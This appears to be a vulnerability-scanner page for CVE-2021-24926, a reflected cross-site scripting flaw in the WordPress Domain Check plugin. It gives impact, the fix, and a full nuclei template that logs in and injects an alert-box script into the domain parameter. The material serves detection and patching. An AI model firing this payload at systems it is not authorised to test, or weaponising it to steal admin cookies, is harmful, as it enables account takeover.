WordPress Domain Check <1.0.17 - Cross-Site Scripting

mediumseverity

6.1CVSS score

12.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the domain parameter, potentially stealing administrator session cookies or performing administrative actions.

Fix

Update to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "Domain Check" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24926 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24926

info:
  name: WordPress Domain Check <1.0.17 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the domain parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Update to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24926
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24926
    cwe-id: CWE-79
    epss-score: 0.12857
    epss-percentile: 0.96331
    cpe: cpe:2.3:a:domaincheckplugin:domain_check:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: domaincheckplugin
    product: domain_check
    framework: wordpress
  tags: cve,cve2021,wpscan,xss,wp,wordpress,wp-plugin,authenticated,domaincheckplugin,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Domain Check"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from